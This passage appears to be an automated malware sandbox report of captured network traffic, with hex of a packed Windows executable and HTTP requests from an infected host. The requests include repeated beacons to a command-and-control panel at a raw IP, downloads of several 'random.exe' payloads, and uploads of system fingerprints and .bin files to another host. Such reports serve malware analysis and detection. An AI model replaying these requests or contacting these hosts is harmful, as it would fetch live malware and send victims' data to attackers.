00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6c 16 00 00 00 c0 07 00 00 08 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 29 00 00 f0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 63 66 68 6d 73 6b 70 00 a0 19 00 00 70 31 00 00 96 19 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6c 72 70 6a 6b 65 73 00 10 00 00 00 10 4b 00 00 04 00 00 00 ee 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4b 00 00 22 00 00 00 f2 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 21:07:08 GMTContent-Type: application/octet-streamContent-Length: 765568Last-Modified: Tue, 17 Dec 2024 09:46:16 GMTConnection: keep-aliveETag: "67614868-bae80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 86 04 00 00 d0 02 00 00 86 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 86 04 00 00 60 07 00 00 86 04 00 00 fa 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/6521298510/DxfmGsU.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 37 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016723001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 37 34 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016740001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 37 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016743001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 500606Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 34 36 39 35 39 34 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=OQJa3re7Kxkn4awF1734469598 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 37 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016744001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 37 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016745001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------keJ9zR0D46Lw3xccKbo6DnData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6b 65 4a 39 7a 52 30 44 34 36 4c 77 33 78 63 63 4b 62 6f 36 44 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 59 69 6e 6f 64 61 76 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a da 1b 51 fa 8f c4 60 75 d7 34 6b ee 39 01 36 bf 2c 81 cb b1 d5 a7 98 2a e2 a0 e0 2a 2c e3 28 07 85 a6 ce dd 16 74 7c f1 3a fc e4 f9 10 7e 70 a3 04 91 36 6c d3 d7 01 fa 40 c6 f0 6e 8a 0e 8e 13 1b 0a 26 88 9e f1 0c 9a ed 0f 4b fb b9 d0 17 02 2b 29 4e 36 1d 71 f6 53 18 0a e2 57 c2 69 81 3e 69 f1 e6 c0 1d 54 ac 39 3e 9f 0a 4b 46 fb 02 84 ac a8 a2 15 df 76 2f be e2 02 61 3a c3 25 f3 17 5d 48 de 5b 11 8a 8b 49 f5 9d 9a 5d a3 be 37 cd fd 05 33 8f 7b 28 aa 4a c7 e4 42 6b ee 92 6b a9 f7 98 6c bd 33 66 19 16 97 72 e6 e4 fa de 45 4e 69 66 e6 0c 5e e7 47 cc 27 19 a3 b1 91 2b 77 66 83 3a a4 b6 02 c8 6c 5c e1 c4 2f 9b fe a1 b2 06 00 bc 55 ad 5e b9 d2 45 6f 1e 05 9c 7a 61 7c 89 ff 10 a1 dc e4 41 7a d4 90 2e e1 eb cf 87 10 3d 7b 36 1c 51 37 0a d9 52 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6b 65 4a 39 7a 52 30 44 34 36 4c 77 33 78 63 63 4b 62 6f 36 44 6e 2d 2d 0d 0a Data Ascii: --------------------------keJ9zR0D46Lw3xccKbo6DnContent-Disposition: form-data; name="file"; filename="Yinodav.bin"Content-Type: application/octet-streamQ`u4k96,**,(t\|:~p6l@n&K+)N6qSWi>iT9>KFv/a:%]H[I]73{(JBkkl3frENif^G'+wf:l\/U^Eoza\|Az.={6Q7R--------------------------keJ9zR0D46Lw3xccKbo6Dn--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 37 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016746001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 77078Content-Type: multipart/form-data; boundary=------------------------4T9gC1vT4RETLudXKIp9fMData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 34 54 39 67 43 31 76 54 34 52 45 54 4c 75 64 58 4b 49 70 39 66 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 69 72 6f 6c 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 8f 46 2a 06 bf 14 15 74 36 13 d5 1b 95 85 76 a9 3a be c2 e9 eb ec 8b f5 88 d3 d3 04 6a 52 ff a9 f7 95 85 2f 0a 00 45 06 ed a6 27 15 6e d5 5c 88 23 33 e8 22 fa e7 48 2e e4 45 74 d1 a5 76 34 2f bc a4 ba 9b c7 f0 bc 34 37 24 0a 94 11 20 39 f9 52 aa cd e2 d9 7b 68 55 ee 59 46 9b 00 22 0e 10 1a 79 ca f9 fa 29 d1 0a 27 db c1 03 5e 37 40 02 cf f7 7b b1 0f 5d fa 77 47 cd c3 18 05 53 28 49 d8 6c 35 f0 bf 40 84 37 e2 7a 08 6d 2f b9 85 a2 01 2d 94 ce 50 41 bc 1e 98 d4 81 ce 1e a4 c7 23 4f fb 4c e3 ce 1b 58 0f 52 20 29 b5 ca 7f 5b ad e4 8c 6d 03 bf 37 df a7 ed e8 c9 6c bc e8 cc 3d 9e 2e a7 34 9d fc 7d 11 5a bb dd 40 2a 3c 6a 87 a3 b0 fb 24 5f 3c 9e 8f 1f c5 78 b9 c4 a1 c7 cc 76 7a 4d 4f 82 0e be d3 f0 75 ce 0e c3 12 7a 15 6f fb b7 b6 50 b0 af ec d0 6d cd 3a af 7d 61 fd 4f 52 fe db 5a 01 f4 ef 44 c1 b6 6e 2f 24 b7 5c a7 f4 d5 15 77 04 92 4f 89 87 fc c1 5f 60 86 c1 99 2d c5 d7 56 de 74 4a 45 10 22 65 e2 70 fd 6a 40 a2 74 c3 4f 14 de 64 1c 83 76 bd 6d a9 67 73 4e 89 17 5f d8 f7 5a 27 bb 59 b2 4a b1 d5 59 1b b0 4c 28 3b d6 e8 1b ae 5c 6e 72 86 53 21 1a 76 55 1e e7 78 cc 96 0d 52 16 3d 48 1d b5 c9 e3 15 0d d5 c4 49 e2 1f 48 5e d7 4c 2f 46 fe af 9c 7c fb 30 1a ee 88 8f 49 99 5e 0e 66 02 a0 1e ba 08 76 df 67 b4 5c 23 0d d2 f3 c1 14 24 db 13 4f 0c 58 8e b7 a7 67 fe f6 f0 6f ce 40 fc 47 d4 d7 1e 4f 50 fa cf ca f5 6a 62 ec 15 96 2c d1 09 6c 57 9d b2 40 08 b4 f0 cb 61 6f 65 55 9a 6e 73 86 b2 87 9b 69 ab ba 41 9f 17 09 fe 93 2d bf 17 a8 c3 5b 0f c1 3b 48 5d 33 c4 d9 da d9 97 87 60 3e e3 ef be 5d 78 46 cf db a5 9d 74 92 28 5f 22 92 50 98 ff 54 e5 bc 9b 57 b1 47 6f 0e c7 66 1f ce a8 93 dc 80 b8 30 7d 59 02 2e a9 f8 a7 b5 b3 7f c9 87 37 37 c7 0e 9d 4a 6a 81 93 79 7d bb ff 50 54 cb b1 5a cd aa 8e f9 a0 e4 cf 84 7d 0e 6f f7 e5 d4 51 15 55 a1 84 3d 68 0c cf 7f 6b 66 a0 e7 e5 18 b3 65 20 e2 1b 2d 5b f9 e4 a4 df c2 bb 1f bb 2d 25 e0 19 9b 15 79 6d 4b 8b 4a 1e 1f 90 54 ad e5 c4 f3 3b 17 69 e7 4d 30 9f 97 51 1d d0 ec 2a a7 bd e2 06 29 4c 83 6a c1 c7 59 38 e6 6e 0a 3b c4 c0 bc 33 b3 e6 e5 b7 23 11 a6 8b 26 3d 72 87 b9 b0 96 9a 1f a9 0e 25 ae e0 ce 92 f0 eb bc 5a f5 24 91 38 f2 a5 ec 8c 50 a5 15 5e c3 5e 18 37 79 cf d9 09 da 4f 98 07 a3 b2 0e 14 69 9d 7f c8 3e ad 58 ed 18 a9 d7 da 68 9f cf bb d3 23 82 5f 86 a0 52 26 fc ed 01 70 f1 cc ee 1c 43 f1 69 16 82 76 f7 9d cb 89 bb 4a 08 d5 63 58 fd f1 7a e8 46 2f 8a 2b d6 81 b9 9e
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 37 34 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016747001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 23413Content-Type: multipart/form-data; boundary=------------------------iD63KDDjopvm8sDlIxtwtpData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 69 44 36 33 4b 44 44 6a 6f 70 76 6d 38 73 44 6c 49 78 74 77 74 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 6f 6e 6f 64 61 68 65 6a 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 34 58 8e 1b fb 80 9f 1b 1b 1c 17 28 15 46 fa 1d 89 3b 92 da d7 76 d1 fe 44 fa af 97 12 62 c4 16 04 ab fb e3 bb 8b 86 8f 87 47 38 f2 70 85 ac 29 67 aa ca d0 05 53 5f 1e 73 57 6f 06 79 95 34 e1 57 ca 9d a4 47 ac 64 4c df d1 36 5c 4e 88 3c f1 ac 4a f3 89 31 4b 1e a9 ae 35 49 5e ea bc 59 f1 f0 25 32 20 7f 3c 21 18 76 38 7d 36 ad 60 e1 21 5f 4d e3 1a 54 f3 f1 21 23 b1 4b d3 e9 20 e4 2f 57 aa e7 00 95 c6 39 6c 12 cf 9a fe 9b 6e 9d da 5c 34 32 8e c1 e3 e8 10 db f3 56 75 58 9f 48 4d 4e 8c cd dd 26 6b dc 80 ce e5 82 da 55 fe 93 1a cb 06 01 f3 cf c9 dc d0 9d f4 2e 2e 79 e6 8a 75 2c 7f 8c c8 68 b5 b0 10 12 80 09 8d e2 1e ae c0 67 4d 21 bc 20 6a ad c9 de 3c 52 f1 fa 6e 15 68 62 47 fb 2a 12 c1 68 3a 50 20 88 52 40 ec 7e 9a f9 e9 c0 d3 8a b7 05 49 c1 31 db bd 88 79 92 97 b0 73 86 ab 92 23 18 1e 9d 18 de 44 c2 2d f6 d1 93 6d 64 57 db 21 fb b6 34 92 83 e9 88 03 99 28 80 30 f0 89 10 ca 64 7e 8f 03 f3 26 25 d1 f3 ef 5f 92 9f a6 0c de b5 bb bd bd f0 94 25 b0 e2 4b 69 f4 2e c3 6e bb 1b 40 2b b4 ba 94 ab 4d ac 3d 3f 9d 0f c4 65 b4 a5 09 91 8e 8b 5f 14 95 60 87 64 78 52 56 1b e7 02 52 ba 96 35 d6 e3 86 e9 22 60 46 bc eb af 2d 83 30 0b c4 a0 20 b0 0a 5d b4 bd da 91 e3 98 d3 f1 26 74 3c 25 0e ad 90 be 1f 91 79 5b 35 da cd 57 d5 48 fe 07 f6 08 f2 1a 64 c1 7f f3 c0 95 9b 92 b1 31 b6 14 11 15 2e 3e 63 c3 23 6c e8 60 70 5a 0b 0c b4 5a ad b9 41 ef ab 57 f7 fe f0 2b 58 79 ae 01 aa 8a f9 85 8d 67 13 43 6e ee 08 1f 8b 88 72 95 da 86 c7 76 f6 e3 d8 e9 f0 06 d0 30 f4 42 bf 6f 0d d5 b9 91 38 68 8d 98 57 d9 f7 9c 2e cc 16 83 dc 7d 33 c3 2d 2d bf 7a 3d a7 1a da 0a f6 ac 3e 45 e1 f0 3e 58 e2 5c bf 15 ee 3e 34 6c 91 9b bc 86 1e 27 75 fb 02 2c 37 a3 d0 f3 45 da 0e fd 02 57 11 4e aa 7a f5 c3 c5 c1 9b 33 9e 1a e4 11 f3 1e 77 0f 93 0d 9b a8 3d c7 91 5e 02 64 be 20 3a 8d 6b 63 2f cb 28 4b b3 87 52 55 ac 02 fc 7d e1 b9 d1 2c 39 06 f4 6a fd 69 92 d1 f5 c7 96 f7 ed 34 80 03 31 16 34 fd b7 c7 d7 49 29 52 ef 6c 3c 4a d5 cd b4 07 bb 5a aa 8b 6a 15 3d 2e 33 37 eb d9 46 93 46 fe 23 22 c1 3d af 7d bf bd 7a 90 28 1f 07 4b f2 68 80 84 e3 b0 a4 6a dc f9 38 22 39 3f 34 de 8e 98 c3 a8 58 e3 eb 46 3f b0 e3 d3 59 12 11 c7 36 18 b5 89 41 6d 1a 26 94 0a 8a 7b c0 4c bb 4d e4 f4 4e e4 8a f9 64 1d b5 06 c2 c8 f8 f0 d8 0a 3d 19 d0 f7 d7 6c 11 cf b3 ef 28 d1 0b 40 10 61 4d 7a 09 90 4b c5 f0 aa e6 cf 19 c3 25 fd 62 15 97 5f 4c e1 0a ce 8b e1 e5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 4f 51 4a 61 33 72 65 37 4b 78 6b 6e 34 61 77 46 31 37 33 34 34 36 39 35 39 38 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "OQJa3re7Kxkn4awF1734469598", "data": "Done2" }
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Tue, 17 Dec 2024 09:45:14 GMTIf-None-Match: "6761482a-bda80"
